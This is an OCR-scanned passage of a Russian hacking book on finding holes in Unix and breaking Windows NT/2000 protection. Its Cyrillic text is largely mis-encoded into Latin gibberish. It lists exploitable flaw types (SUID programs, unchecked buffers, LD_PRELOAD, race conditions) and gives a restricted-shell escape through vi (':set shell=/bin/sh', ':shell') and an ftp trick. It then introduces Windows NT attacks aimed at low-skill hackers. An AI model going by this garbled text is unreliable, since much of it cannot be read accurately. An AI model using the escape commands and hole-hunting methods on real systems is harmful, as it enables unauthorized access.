KOTOpasl TIpU OTCYTCTBUHU IOJKHBIX MPEAOCTOPOXKHOCTEN MOXET OBbITh Tepe-
BeJieHa B3JIOMIIIMKOM B peXuM single-user (eAMHUYHOTO TOJIb30BATENS) C O~
HOBPEMEHHBIM YHUUTOXEHNEM Bcelt (DaitIoBOil CUCTEMBI.

Eme onuH nmpuMep — obecrnedeHHe COXpaHHOCTH KOH(pUIEHIIMAIb-
HOIf MHMOPMALMK HA Pa3IMYHBIX HOCUTENSIX, KOTOpbIe, HECMOTPST Ha ycTa-
HOBJICHHBIE K (haiijiaM pa3pelleHNsI, BIIOJHE MOTYT ObITh IIPOYMUTAHEI JIIOOBIM
MOJIb30BaTeNIEM CUCTEMbI, UMEIOIIMM JOCTYIT K COOTBETCTBYIOIIEMY CETMEHTY
JIICKa.

AedeKkTbl NPOorpaMmMHoOro obecnevyeHus

31ech OCHOBHASI TTpOGJIeMa 3aKJTI0UaeTCs B OIIMOKAX B «ITPUBHIIETHPO-
BaHHBIX» TTPOrpaMMax (I€MOHBI, YCTAHOBKY [UTS Cron), YbM (PYHKIIUM MOTYT
OBITH 3aeICTBOBAHBI TTPY B3JIOMe CUCTeMbl. CaMblii U3BECTHBIN TIpUMEp —
910 «sendmail debug», KOTOPEI MO3BOJISIET XaKePy 3aITycKaTh KOPHEBYIO 000-
Jouky. [Ipu aTOM MOXeT OBITh yHayiieHa (aiioBasi cucTeMa, CO3IaH HOBBIM
aKKayHT, CKOITMPOBaH (aiis passwrd, Kopoue, Bce, UTO TOIBKO MOXKHO TTPUITY-
MaThb (BOIIpeKHU 00IIIeMy MHEHMIO, B3JIOM, aHAJIOTUYHEIN sendmail, He orpaHu-
YUBAETCSI TOJBbKO HebOe3bI3BeCTHBIM «Internet Worm», 3TO BIOJIHE OCYIIe-
CTBMMO M TIpHU 3amycKe telnet yepe3 25 MopT aTaKyeMOTo KOMITBIOTEpa.

HoBrie «IBIPBI» B CUCTEME 0€30ITaCHOCTH MOSIBIISIIOTCSI YYTb JIX1 HE €2KE€-
JHEBHO, ITO3TOMY CaMO€ JIYUIIEC, YTO Bbl MOXETE CAC/IaTb, 3TO!:

a) TocTapaTbCsl CTPYKTYPUPOBATh CBOIO CHCTEMY TAKUM 00pa3oM, 4TO-
OBl Jaxxe caMble He3HAYUTEIbHBIE TTPOTPaMMBbI pabOTaIA TOJBKO MO TTPUBH-
snerussmu root/daemon/bin, a eciau cymiecTByeT HEOOXOAMMOCTb MPOMUCATh
co(T IO IPYTHX MOJIb30BaTeleil, TO yOemUTeCh, YTO MX aKKAyHTHI He TIo1a-
FOTCST B3JIOMY.

b) moANUIIUTECh HAa PACChUIKY, TAe MyOIMKyeTCcss MH(GOpMaLus 00 NH-
TEpecyoIIMX Bac MpobdaemMax, 1 TaKUM 00pa3oM Bbl CMOXKETE BOBPEeMsI OTpea-
TUpOBaTh Ha OOHAPYKEHHBIN Ae(PEKT.
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IIpu ycraHOBKe/OOHOBJICHUN TaHHOW CUCTEMBI CTapaiiTeCh yCTaHAB-
JINBaTh/IENaTh 3aIyCKAeMBIMUA TOJIBKO NEHCTBUTEIIPHO HEOOXOIMMBIC BaM
IIPOrpaMMBbI, KOTOPHIe HY>KHBI BaM Ceifyac MJIM KOTOPBIMU BBl TOYHO CTaHETE
TOJTb30BaThcsl. MHOTHE TIaKeThl ComepKaT NEMOHBI W YTWIIUTBI, TO3BOJISI-
olllMe TTOCTOPOHHUM JIMIIaM CYMThIBaTh MHbopManuio. K mpumepy, maker
AT&T System V Unix BkJtouaet B ceds mporpammy acctcom(1), B KOTopoit
YCTAaHOBKY TI0 YMOJYaHMIO MPEIOCTABIISIIOT OJHOMY ITOJIb30BaTEII0 CBOOOI-
HBI TOCTYI K yYETHBIM JaHHBIM Apyroro. MHorue naketsl TCP/IP aBToma-
TUUYECKM MHCTAJUIMPYIOT/3aIyCKalOT TaKKe MporpaMMbl, Kak rwhod, fingerd u
<umHorga> tftpd, MCIOIB30BaHME KOTOPHIX MOXKET ITOBJICYh 3a COOOM Cephe3-
HBIE TTPOOJIEMBI C 0becTieueHEM 6e30TTaCHOCTH CUCTEMBI.

Pemenue 3TMX TIpo6iieM 3aKIIOYAeTCs B TIIATEIHHO ITPOTYMaHHOM
AIMIHUCTPUPOBAHUYU CUCTEMBI. BOJBIIMTHCTBO MOXOOHBIX MTPOTPAMM WHU-
IMAJTU3UPYETCS/3aITyCKaeTCs BO BpeMsT Ha4aTbHOM 3arpy3KU; BHI MOXETE W3-
MEHWTD CIIEHAPUY HAYAIBHOU 3arpy3KH (0OBIYHO PACTIONOXKECHHBIE B KATAIO-
rax /etc, /etc/rc, /etc/rcX.d) mist mpenoTBpallleHus: Ux 3amycka. Bbl Takke
MOXETe TPOCTO YOAIUTh HEKOTOPhIe U3 3TUX mporpamm. Ui psiaa yTUIUT
TIPETOTBPATUTh HECAHKIIMOHWPOBAHHBIN 3aITyCK MOXET TPOCTasi KOMaHa
chmod(1).

AnaBa 7.
He aAoBepsaute cueHapusm/nporpamMmmam
UHCTOAASLMU

ITomoGHBIe cpeacTBa OOBIYHO 3arpyKaloT cpa3y Bech nakeT 6e3 qudde-
PEHILIMPOBAHHBIX 3aMTPOCOB. B GOJIBIIMHCTBE CllyyaeB B JOKYMEHTAMU K UH-
CTAJIJISILIMU €CTh CIIMCOK BCEX MPOrpaMM MakeTa; 03HAKOMbBTECH C HUM.

AedeKkTbl U3-3a COBMECTUMOCTU O6OPYAOBAHUS

WHorna HemocTaToOuHBIN MPOoheCcCUOHAIN3M CUCTEMHOIO MEHeIXepa
MPUBOIUT K UCITOIb30BAHUIO TAKUX KOMOMHALIUM «Xkese3a» U «codTar, KOTO-
pbl€ MO3BOJISIIOT B3JIOMIIIMKAM MTPeo10JieBaTh BCe 3alllMTHbIE cucTeMbl. [1o cy-
TU JieJ1a, 3TO IPUMED «ITOTOHU 3a ABYMSI 3aiillaM», ECTECTBEHHO, HU OJIMH U3
3aiilieB B KOHEYHOM CYeTe He MOoMafaeT B JIOBYIIKY, HA 3aTO B CUCTEMY Tora-
[IaeT HE3BAHHBIN TOCTb.

ITocste MOHOrO 3aBeplIeHUsT YCTAHOBKM 000PYI0BaHMsI OOHAPYKEeHME
MOJOOHBIX «IbIP» B CHCTEME O€30MaCHOCTU CTAHOBUTCS [UIS CUCTEMHOTO ajl-
MUHUCTPATOPa HACTOSILEN TOJIOBHOM 0O0JIbIO, ITO3TOMY JIyYIlie BCETO CJCIUTh
3a MMOSIBJIEHUEM 3TUX MOMEHTOB C CAMOI'0 Havyajia paboThl MalIMHbI. Bripouem,
HUKOTIa He MO3HO BEPHYTHCS Ha HECKOJIBKO IIAr0OB Ha3al.
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Hixe pazoGpaHbl HEKOTOPBIE TPUMEPHI; HO IaBaiiTe He OymeM ceifyac
Ha 3TOM OCTaHaBJIMBAaThCS, Ja0bl HE UCITOPTUTH BITCYATICHNE.

BbiGop cTparernm sawmTbl U ee NpUMeHeHne

YeTrBepThlii BUI IpobieM ¢ 0€30MaCHOCTHIO KacaeTcsl aleKBaTHOTO
BOCHPUATUS. XOpOULIME MPOrPaMMbl, 3alIMIIEHHOE <«XeIe30», HO BIIOJIHE
COBMECTUMBbIE KOMITOHEHTBI CUCTEMBbI HE 3apab0Talo0T, €CIY TOJIBKO BbI HE BbI-
OGepeTe COOTBETCTBYIOLLYIO CTPATETUIO 3aLUMThl U HE BKJIIOYMTE OTBEYAIOILINE
3a 6€30MaCHOCTb CETMEHTBI CUCTEMBI. [laxke MCMOb30BaHUE CAMOTO JTYYIIEro
Ha CBeTe MexaHM3Ma NapoJIMPOBAHUS HE JACT HUKAKOTO pe3y/ibTara, eciiv Ba-
LM 10JIb30BaTE M CYMTAIOT JIYUIIIMM ITapoJieM CBOM COOCTBEHHBI JJoruH! be-
30IIaCHOCTh — 3TO B3aUMOJECTBHE 0011eil cTpaTeruu (MM CTpaTeruii) u co-
IJIACOBAHHBIX C HEM oreparuii.

fAaBa 8.
MbICAU O XAKUHre Unix

Baxcno: Bes ipemiaraemast nHdopMaius 1ooKHa OBITH pacIipenesieHa
IO CJICAYIOIINM KaTeTOPUSIM:

1) OG1Me TPUHIUIIBI.

2) IMouck aedheKToB B SIC.

3) [IpocMOTp B IBOMYHBIX pacripeiesieHUsIX.

4) I1pocMOTp crielMaIbHBIX KOH(GUTYpaLMii caiTa.
HexkoTtopsie myHKTHI KJaccubuKalliy HarpaluBalTCs caMu COOOI:
1) SUID/SGID.

2) Koapl 3aBeplieHUs1/yCA0BUS OIIMOKHU.

3) HenpenBuaeHHBIN BBOS.

4) [TapameTphbl MapIIPYyTU3ALIUH.

5) [poBepka Ha ayTeHTUYHOCTb.

6) UmrnimuimTHOE oBepue.

7) IlapameTphl.

8) PaszpemieHust.

9) [TpepbiBaHuMsI.

10) BBon/BbIBO/I.
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11) CuMBoJIMYECKUE CBSI3HU.
12) [leMOHbBI, 0COOEHHO AOCTYIHBIE TTOJIb30BATEISIM.
13) [TapameTphl MapIiIPyTU3ALIUU B SIIpE.

IMpemtoxeHHy0 cxeMy MOXHO pa30UTh Ha KaTeropuu W IMOAKaTero-
puu:

I: Suid-6unaps! u cueHapun
a) HenpenBumeHHbIe IeCTBUS MOJb30BATENS.
6) CBOOOIHbBIE TOIKITIOUECHMSI.

B) MMITMUIMTHBIE IIPEAIIONOXEHUS O BHEIIHUX YCIOBUSX (CCHUIKHU
sym, loc.-1mryti).

r) [TapameTpsbl MapIIpyTU3aLUK.

II: demon, dynkumonnpyromuii co SUID
a) ITapameTphl MapLIpyTU3allNK.

0) Henocrarounas 3amura daiina.

B) UMmumimTHas 3amuTa daiiia.

r) [loBepue.

1) AyTeHTUYHOCTb.

II1: ITpoGaemsl aapa

a) [TapaMeTpsl MapLIpyTU3aLUU B SIIPe.
0) Kox mpaiiBepa ycrpoiicTsa.

Hwuke paccMaTpuBaeTcsi YeThIpEXdTAIllHbIM MeTOM, pa3paboTaHHBII
System Development Corporation 1 naro1unii 65%-Hyo rapaHTHIO OOHapyXe-
HUS 1edeKToB B cucTeMe Oe3onacHOCTU. [1oMcK TakKuX «IbIp» B OllepalOH-
HOIi cMCTeMe BKJII0YAeT YEThIpe ITara:

Qran 1
W3yyeHue cTpyKTypbl yIpaBieHUsI TaHHOK KOHKPETHOM CUCTEMBI.
Y100OBI HAWTH JIa3e KU B cUCcTeMe 0€30I1aCHOCTU U OIIPEACINUTD €€ 1€~

(bekThI, HEOOXOMUMO YETKO YSICHUTBH CTPYKTYDPY YIIPABJICHUS CUCTEMBI M €€
YPOBHU.
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Bort uro HY>XHO 3HaThb:

A) OO0BeKTHI 3aUTBI: TO, YTO HAAO 3alUTUTh. Hampumep: daiiyibl
MOJIb30BATENEH.

B) O0beKThI ynpaBjieHus: TO, YTO 3allMIIAcT OObEKThI 3aliuThl. Ha-
npuMep: i-node (MHAEKCHBIE J€CKPUIITOPHI).

C) CmemanHbie 00beKTbI: O0BEKTHI, MOAMNAAAIONINE MMOA 00e KaTero-
puu. Hanpumep: daiin naposst.

C TakuM CIICKOM B pyKax CTaHOBUTCSA BO3MOXKHBIM I‘pa(I)I/I‘IGCKI/I BOC-
IIPOU3BECTU BCIO UCPAPXUIO YIIPABJICHHA N OIPCACIUTL BEPOATHLIC ITYyTU
B3noMa. Q4YeHb IeCTBEHHO U CO3IaHUe JuarpaMm IJjid BU3yaJIu3allMu BO3-
MOZKHOTO IMpE€PpbIBaAaHUA CBSI3CH.

Haiitu HeoOxoaumyo MHGOPMALIMIO MOXXHO B pa3jIMYHBIX MOJIb30Ba-
TEJbCKUX, OMEPATOPCKUX U AIMUHUCTPATOPCKUX MaHyasax.

J10BOJIBHO MOJIE3HBIM MOXKET OKAa3aThCsl U MU3YYEHUE UCXOIHOIO KOJa.
s Tex, KTo MoJIb3yeTcsl HETMLIEH3UPOBAHHBIMU TTPOYKTaMU, COBETYEM MC-
nob3oBaTh AUCTpuOyTrBbl LINUX, NET2 u BSD386. B 6yayiiem, BO3MOX-
HO, CTAHET PEAIbHOCTbIO paboOUUil KOHTPAKT MEXIY OTACIbHBIM JIMIIOM WJIN
KOMIIaHWe#, objagalluMy JieraJbHBIMU IUCTPUOYTUBAMU, U JPYTUMU
y4acCTHUKaMHM 3TOTO MpoekTa. TakuM 006pa3oM, parMeHThI Kofa MOTYT ObITh
HCTIOJIb30BaHbl B YYEOHBIX (aKageMMUECKMX) LIEJSIX MOCTOJBKY, MOCKOIbKY
OHM HE UCITOJIb3YIOTCS IJIsI U3BJIEUeHUSI MPUOBIIN — BIIPOYEM, 3TO HEOOXOIM -
MO TIPOBEPUTD.

Srtan 2

Co3maHue CIUCKa BO3MOXHBIX Je(MEKTOB (TO €CTh IpearoiaraeMbIxX
nedeKToR).

XPOHOAOIUS KOAC

B uem cocrout paznmmumne Bepcuit UNIX? DTo ObiBaeT BaxkHO IIpU CO-
3MaHUM TIEPEKPECTHBIX CCHIIOK (OUEHB YaCTO HEKUI MpoaBell BHOCUT B TTa-
KEeT U3MEHEHMSI, a €r0 BepCUs ToJTyyaeT IIMPOKOe pacTipoCTpaHeHNUe).

XecTKas nepeKkpecTHAs CCbIAKA

Komannoit who mipoBepsTe OS Ha HaJTMYMe ONIMOOK M YCTAaHOBUTE, Ka-
Kasi BepCHsI TIOMOXET BaM M30eKaTh TBOMHON paOOTHI.

Xopoiio 0bl CHayajaa BBIBECTU TOJIHBIM CIMCOK BcexX suid-OMHapoB
B pa3nuuHbIX Bepcusax OS. 3aTeM MomnbITaiiTech BHIICHUTD MPUYMHY OTIpe/e-
JieHus suid K Kaxaoii KOHKpeTHOM rporpamme. Harmpumep: rcp numeet KopHe-
BOI1 suid, TOTOMY YTO UCTIOJIB3YET MPUBUICTUPOBAHHBIN MTOPT [IJIs1 yCTAHOBJIE-
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HMSI aQyTEHTUYIHOCTH TI0JIh30BATEIbCKUX MMeH. YacTo Ko, M3HAYaJbHO CO-
30aHHBIN He Kak suid, GYHKIIMOHUPYET MMEHHO Kak suid, MaHUITYTUpPYs Ka-
HaJIaMM JIJIST pa3peleHus ITPooJIeM ¢ TOCTyIaMu (haiiioB.

Xopoiiio 661 pazpaboTtaTh 6a3y JaHHBIX, KOTOpasi Obl CpaBHUBAJA Tap-
HBIE ¥ TPOIHBIC TaHHBIE, KAK-TO: Ha3BaHWE MPOrpaMMmbl, suid, sgid, o6GbeKT
oOpaiieHus (moyeMy gaHHast mporpamma paboraet rmoj suid/sgid), Bepcust OS
U e¢ MIPOUCXOXICHUE.

Qtan 3

ITposepka npeanonoxenuii. (TecTupoBaHUe CUCTEMBI Ha MPEeaAMET 00-
HapyXeHUsl 1e(PEeKTOB).

Sran4

O060011eHMe MTOTyYeHHOI UH(OPMALIK ¢ aKIEHTUPOBAaHUEM CITELU-
brgecknx Ipob6IeM JTaHHOW CUCTEMBI.

hnaBa 9.
OG6GHapYy)XeHne OTAEAbHbIX AedeKToB

1) Miute moamporpaMMbl, KOTOPbIE HE TIPOBEPSIIOT AMATIa30HbI WK
rmapaMeTphl BBOJIA.

Hanpumep: ceMbsi moanporpamm gets, mo3Boisitolias nepe3anuchiBaTh
rpanuiisl 6ydepos (sprintf()?, gets () u T.1.). A Takke strcpy (), BMOHTUPOBaH-
Hasi B OOJIBIIMHCTBO SIC:

#tdefine SCYPYN((a)(b)) strcpy(a, b, sizeof(a))

2) SUID/SGID noamnporpamMmbl, HalTMCaHHbIE B OAHON M3 000JI0YEK
Bmecto C wnu PERL.

3) SUID/SGID noanporpammsbl, HanmucaHHblie B PERL 1 He ucnob-
3ylollie nporpammy taintperl.

4) SUID/SGID noanporpaMmbl, ucrosb3ytouiue system(), popen(),
execlp() unu execvp() Mpu BHIMIOJIHEHUU 3aaHUIA.

5) JTrobast mporpammMa, KoTopasi MUCIOJIb3yeT OTHOCUTEIbHbIE MMEHa
MTyTH.

6) Micnonib30BaHME OTHOCUTEJIBHBIX UMEH MYTel JUISl ONpeaeIeHUS T -
HaMUYECKM CBSI3aHHBIX OMOIUOTEK.
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7) IMoanporpaMMbl, He TIPOBEPSIOIIME OIIMOKK B KOIaX BO3Bpara Ipu
cucteMHbIX BeI3oBax. (Hampumep: fork(2), suid(2), setuid() kak B 3HAMEHUTOM
olobKe rcp).

8) edekThl yacTo MOTYT OBITH OOHAPYKEHBI B KOJIE, KOTOPBIA:
a) UMITOPTUPOBAH B HOBYIO CpeJy;
0) MoJy4yn HECAaHKIIMOHUPOBAHHbII BBOJI;

B) B3aMMOJCICTBYET C APYTMM JIOKAIBHBIM ITPOTPAMMHBIM obecrede-
HHEM;

') o0pallaeTcsl K CUCTeMHBIM (haitiaM, MomoOHbIM passwd, L.sys U T.1.;

JI) CUMTBLIBAET BXOJIHBIE JaHHBIE U3 CBOOOJHO Ilepe3alliChIBAEMOIO
(aiina/karasnora;

€) MpeCcTaBIsieT CO00M OHY M3 MTPOTPAMM IMATHOCTUKU, KOTOPBIE Ya-
11Ie BCero He MO3BOJISIIOT MOJIb30BaTEIO 3alUIIATh MH(POPMALIHIO.

9) TecTpoBaHMe KO/Ia Ha IMPeaAMeT HeCAaHKIIMOHUPOBAHHOTO TOCTYIIA.
CpelncTBa IjIst 3TOT0, BKIIIOYAs Pa3IMYHbIC YTHIUTHI, BIIOJTHE JOCTYITHBIL.

10) B man-cTpaHuiiax v B pa3InyHbIX PyKOBOJCTBaX IIPOCMOTPUTE Ta-
parpadbl ¢ IPeAyNPEeXIEHUSIMU MPOTHUB BBITTOJTHEHUSI TOTO-TO U U3MEHEHUS
cero-to. OOpaTuTe BHMMaHue Ha pasaesbl «OmmoKm».

11) IMouiure peaKo MCIONb3yeMble WIM HEOOBIYHbIC (DYHKLIMU WIM
KOMaH/Ibl — HaIlpuMep, YTeHUEe B 00OpaTHOM HaIlpaBJIeHUMU.

B yactHOCTH, UHTEpECHbIE Pe3YJIbTaThl MOXKET AaTh MOUCK HE Hallle/-
IIMX OTPaXXEHUE B MHCTPYKIIUSIX (DJ1aroB/apryMeHTOB.

IIpoBepbre imaru, paboTtaiommue B 0ojiee paHHUX BBHIITyCKax Ballleil
onepamoHKu uinu B npyrux OS-pepcusix. [IpoBepuTe omimm, KOTOPHIE MOTYT
OBITh MCITOTB30BaHbI APYTMMU TIporpamMamu. Hampumep, telnet ncmomb3yer
ONIIMIO -h 115 BXOIA B CUCTEMY... JIAAHO, MMPOINUIINTE B login.c:

if((getuid()) && hflag){
syslog()
exit()
}

12) [IpocMoOTpUTE YCIOBUSI MApLIPYTU3ALINN.
13) OTkimounTe 9acTh copTa, ¥ TEM CaMbIM BbI TIPOBEPUTE, ICHCTBU-

TCJIbHO JIM OHA, 3Ta 4aCTb, CBA3aHa C IpearojgaracMbIM BaMU IIPOrpaMMHBIM
obecrieyeHUEeM WIN alrnapaTHbIM MOOYJIEM.
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14) OtnaabTre mpolecc 00HApPYKEHUS OIIMOOK TaK, YTOObI OH HE OTpa-
KaJICsT Ha CUCTeMe 6e30ITacHOCTH.

15) HenocraTtouHast oT1aXXeHHOCTb, TPUBO/IAIIAS, HATIPUMED, K CO3/1a-
HUIO HEBEPHBIX YCIOBUIA IPOBEPKU KOJIOB.

16) UMmuimuuTHOe noBepue: oAnporpamMmMa B nmpuHuMaeT rnmapameTphl
MOAMPOTrpaMMBbI A, TTOTOMY UTO MOAMNpPOrpaMMa A SIBJSIETCS CUCTEMHBIM TTPO-
11€CCOM.

17) [TamMaTh cuCTEMBI — 3TO JaHHbIE WM CChLIKA Ha napaMeETphbI MMOJIb-
30BaTecJjid B aipE€CHOM IIPOCTPAHCTBE I0JIb30BaTENEH.

18) UnTepcBsi3b BO BpeMsi TTPOIIECCOB: BO3BpallleHWe ycaoBuil (passwd
OK, illegal parameter, segment error u T.JI.) MOXET CTaTh ICTOYHNUKOM CEPhe3-
HBIX IIpo0JieM, 0COOCHHO BKyIIe ¢ 1m.17.

19) [TapameTphl MoJIB30BATES HE MOAIAIOTCS aleKBaTHOM MTPOBEPKE.

20) Anpeca, iepeKpbIBarolIre APYT Apyra Wiy odpaiiaroiiyecs K 1py-
MM 00JIaCTSIM CUCTEMBI.

21) ITpomnyck poBepKU.
22) C60i1 cucTeMbl ITPeIyPeXACHUSI O HEOOBIYHBIX ITapaMeTpax.

23) Haiinure ypoBHM CUCTEMBI, B KOTOPBIX PsI MOMYJIeid ObLT HAITMCaH
pPa3IMYHBIMUA TIPOTPAMMUCTAMU WJIM TPYIIaMKU MPOTPaMMUCTOB — 00si3a-
TEJIbHO OOHAPYXKATCS «IIBIPKW».

24) PerucrtpaTophbl, yKa3bIBalOIIME HA MECTOPACIIONOXEHUE 3HAUCHU I
rapameTpa BMECTO TOr0, YTOOBI MepeaaTh 3TO 3HAYCHUE HETIOCPEICTBEHHO.

25) JIto6as nmporpamma, GyHKIMOHUPYIOIIAsI C CAUCTEMHBIMU MTPUBUIIE-
rusiMu. (CnuiikoM MHoro nporpamMMm nmeiotr UID 0, yto obneryaer moctyn
K HEKOTOPBIM TaOJIMIIAM U TIPOY.)

26) I'pyniia cBOOOTHOYMTAEMBIX BpeMEHHBIX (haiiioB, 6ydepoB U T.1.
27) HeoTiaxkeHHOCTb MOPOTOBBIX 3HAUYEHU I U PETUCTPALIMY.

28) NzmeHeHue mapaMeTpoB 0CO00 BaXKHBIX 00J1aCTEN CUCTEMBI 10 UX
BBITTOJTHEHUSI OMHOBPEMEHHO 3aIyIIIeHHBIM MPOIeCCOM (YCIOBHSI MapIIpyTH-
3all1n).

29) HeanekBaTHas IpoBepKa TpaHUIIbl TP KOMITWJISILIMU, HaIpUMep,
B cTyJae, KOrja MoJIb30BaTe b MOXKET 3aITyCTUTh MATMHHBIHN KO, 0(OpMJIIEH-
HBII KaK oOllMe JaHHbIe B 00JIACTU JaHHBIX (€CJIM TeKCTOBasi 00J1acTh U 00-
JIaCTh TAaHHBIX Pa3IeIeHbI).
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30) HempaBwibHOE IpepbIBaHKE ITOJIb30BaTeIeM pabOThl KOMITBIOTEpa.
BospIIMHCTBO TTOJTb30BaTe e CHAaYaIa WM ITPEPHIBAIOT BHITOJHSIEMBII TIPO-
1IECC WJIU TOBOMST €T0 JI0 KOHIIA, a YK€ TIOTOM BBIKJTIOUAIOT KOMITHIOTED, B TO
BpeMsl Kak JApYyTrre, He 3aKOHYMB KOPPEKTHO CBOIO PaboTy, OCTaBIISIOT CUCTE-
MY (baKTUIECKU B HE3aIIUIIICHHOM COCTOSTHUU, OCTABJISISI OTKPBITHIMU (haii-
JIbI, B KOTOPHBIX BeJIach 3aIlvCh.

31) Kon, ucnionssytronuii fopen(3) 6e3 ycranosku umask. (Hampumep:
at(1) u op.)

Boo6ie mo6oit koa, He nepesanyckatomumii UID nepen Hayaiaom ma-
PaJUIEILHOIO JCUCTBUS.

32) Trace — Balll xopoiuuii moMouIHUK (Wi truss B SVR4). OH Bbisic-
HsIeT, KaKue CHUCTeMHBIE BBI3OBBI MCTIOB3YIOTCS IIPOTPAMMOIA.

33) TwarenbHO TIpoBepbTe /usr/local. MHOTHE aAMUHUCTPATOPHI YC-
TaHaBJIMBAIOT ITPOTpaMMHOE obecTieueHne 13 ceTu. YacTo BBl HalifeTe 31ecCh
tcpdump, top, nfswatch... oHM 3ampOCTO MOTYT WUCIIOJb30BaTh KOPHEBOM
suid.

34) IpoBepbTe NporpaMmbl 1o suid U yOeauTeCh, YTO OHU SIBJISIOTCSI
MMEHHO TEMHU CaMbIMM MPOAYKTaMU, KOTOPbIe ObUIM YCTAaHOBJIEHBI CHavala.
AIMMHUCTPATOPbl MHOTJA MEHSIIOT MapoJu, YTO MeHee 6e30MacHo, YeM JAUC-
TpUOYTHBHAS BepCUsl.

35) Haiitu nporpaMmbl, ycTaHaBIMBAIOIIME TTPOrpaMMHOE obecrieye-
HYE WIN 3arpy>KaeMble MOAYJIH SIIpa.

36) BooOiie auHaMUYECKM CBsI3aHHBIE MHpOrpaMMbl. BcriomHuTe
LD_PRELOAD, nymaeMm, 4To 3TO eIlle He Ipeae.

37) IIporpammupoBaHue kaHama I/O — BOT, 4TO ceifuac TjIaBHOeE.
NinyTe tormyeckue ommMoKu, MPOTUBOPEYMS U YIaTCHMS.

38) Ecnu Bo3MoxxHO, otcaenure B [/O nmporpamme Haamyue BO3MOX-
HOCTH CaMOCTOSITeJIbHOTO MoAMGUIMPOBAHUS M 3aIlycka IMKIOB (pre-load
MOXET TTOMOYb 3TO OCYIIECTBUTH 3TO).

39) Eciu kanaib! [/O neiicTBYIOT KaK He3aBUCUMBIE MPOLIECCOPHI, TO
OHU MOT'YT MMETh HEOrPAaHUYECHHBIN AOCTYII K MaMSITH, U TAKUM 00pa3oM CH-
CTEMHBII KOJ MOXET ObITh U3MEHSIThCS B IAMSTH €Ille 0 CBOEIO BBITOJIHE-
HUSL.

40) Haiinure omubku, cyiiecTBYIOLUIMEe BO MHOIMX YaCTSIX MPOTpamMM-
Horo obecnieyeHust. K mpumepy, ckaxem, nporpamMmma A MOXeT ObITb UCITOJIb-
30BaHa JUJIsl u3MeHeHus1 (aitia KoHdurypauuu /etc/a, nporpamma B npuHu-
MaeT 3Ty UH@opmauuio 06e3 NMpoOBEepKH, U BCE BTO MOXET MPUBECTU
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K HEeTMpeaBUIEHHBIM pe3yJibTaTaM (TOJbKO MOCMOTPUTE, CKOJBKO MPOTrpamMm
JIOBEpSIIOT /etc/utmp).

41) JIroOble mporpamMmbl, 0COOEHHO JOIYCKAaIOIIME BHIXO U3 000JI0UKU
u uayiue moj suid/sgid.

'naea 10.

B3AaMbIBOEM OrpaOHUYMBAIOLLYIO OOOAOYKY
IIpu HekayecTBEHHO BBHIIOJHEHHOM OIpaHMYMBAIOIIEil 000JI0UKe

MOXHO B3JIOMaTh OTPaHMYMBAIOILYIO CPENY, BBITIOJIHUB IIpOrpaMmy, KOTopas

MoKa3bIBaeT PYHKIMIO 000JI0UKH. XOPOIIUi ITpuMep Vi (IIPOCTOl TEKCTOBBIA
penakTop). BeIosmHUTeE Vi M UCMIONB3YHTE CASAYIONIYI0 KOMaHIy:

:set shell = /bin/sh
3arewm shell, ncronp3yommii 3Ty KOMaHLIy:
:shell

Ecnu Bai orpaHnueHHass 000JI0UKa He IMO3BOJISIET UCIIOJIb30BaTh KO-
maHnay cd, 3aiigure yepe3 ftp Ha caMoro ce6s1, M BbI IIOJIYYUTE JTOCTYII K MC-
MoJIb30BaHMIO cd.
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B3AnOM
Microsoft Windows 2000

nasa 1.

OCHOBHbI€ NMPUHLUMUIMbI BBAOMA 3ALUMATDI
ceTeBbiX onepauuoHHbix cuctem Windows NT
n Windows 2000

B 2T0i1 yacTH MBI U3JI0KMM OCHOBHBIE TTPUHIIMITBI B3JIOMa 3aIUThI Ce-
TeBbIX onepaoHHbIX cucteM Windows NT u Windows 2000.

[Touemy Hamu BblOpaHa rpymmna omnepaluoHHbIX cucteM Windows
NT/2000? CemeiictBo omnepaiioHHbix cucteM Windows NT/2000 (B naib-
HeitmeM rpocto Windows NT, t.k. Windows 2000 siByisieTcst 1o cBoeit cyTn
nsToit Bepcueid NT) nmeeT 6orateiiiiirie BO3MOXHOCTU pabOThI ¢ KOHpUTYpa-
LMei onepallMOHHOM Cpefibl, MOJIEPXKUBAET ycTapeBlliee MporpaMMHoe obec-
reyeHue s onepanoHHbIX cuctreM DOS, Windows 3.xx/95/98, uTto BieueT
32 c000I BOBMOXHOCTb € 0OJIbIIIECH BEPOSTHOCTHIO HAMTU B 3alIIUTE CUCTEMbI
cinaboe mecto. Beernma Hajgo MOMHUTD IpUHLMIT: O6bi4HO A0Maemcs augm, a He
secmuuya. CienoBaTesbHO, 4YeM Mpolile, TeEM HalexXHEH.

Bropas npuunHa, moyemMy Mbl OCTAaHOBWJIM CBOI BBIOOpP Ha CeMEliCTBE
Windows NT — 13-3a OIy/ISIpHOCTH 3TUX CUCTEM W PACIIPOCTPAHEHHOCTH UX
B mupe. C o1HOI CTOPOHBI, yKpacTh uHpopmanuwo uz Windows NT/2000 3a-
TPYIHUTEIBHO, T.K CIOXKHOCTD ITOXUIIEHUS] MHGOPMAIIMY BbI3BaHA, KOHEYHO,
He 6e3ynpeuHocTtbio TCP/IP creka Windows NT, a ero yooroctsto u oTcyT-
CTBUEM B CTAHAAPTHOM ITOCTaBKE CETEBBIX IEMOHOB 1 KpaifHe OTpaHUYeHHBIM
Habopom kimeHTckux yruiuT (host, nslookup, talk u 1.1.). Xakepsl co Bcex
KOHIIOB CBeTa 00OpaTWJIM Ha Hee CBO€ BHUMAaHME U, €CTECTBEHHO, HAIIUTA U Ha-
XOIT mpopexu B cucteme 6e3onacHoct Windows NT.

MeToabl B3JOMa, M3JIOXEHHbBIE 3[eCh, OYIYT MOCTYMHBI JUISl Xakepa
HEBBICOKOM KBavdukanuu. Te mporpaMMbl UM CPEACTBA, KOTOPbIE MOTpe-
OYIOTCS ISl MOAPBIBA 3AIUTH M MIPOHUKHOBEHUS B CUCTEMY, MOXHO CBOOOI-
HO HaiiTu Ha cTpanuuax Internet'a. Kpome Toro, emie He Bce CUCTEMHBbIE ajl-
MMHUCTPATOPbl OCO3HAJIM HEOOXOAUMOCTh KOMIUIEKCHOIO MOJAXOAa MpPU
3amure uHpopmauuu ais ceteit mog Windows NT. OObIYHO 3aTpaThl Ha CO-
XPaHHOCTB LIEHHOCTeM cocTaBistioT oT 10 1o 30% ot ux crommoctu. Ho kak
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OIICHUTh MHTEJUICKTYAJIbHYI0 COOCTBEHHOCTh? TyT BCTYITaeT B IEHCTBHE BCe-
MUPHBII TTOGUTH3M, BOT OH — [JIaBHBIM APYT XaKepa.

besonacHoctu KOMHb}OTepHOﬁ CHUCTEMBI WJIN CETU OOBIYHO IIpucymun
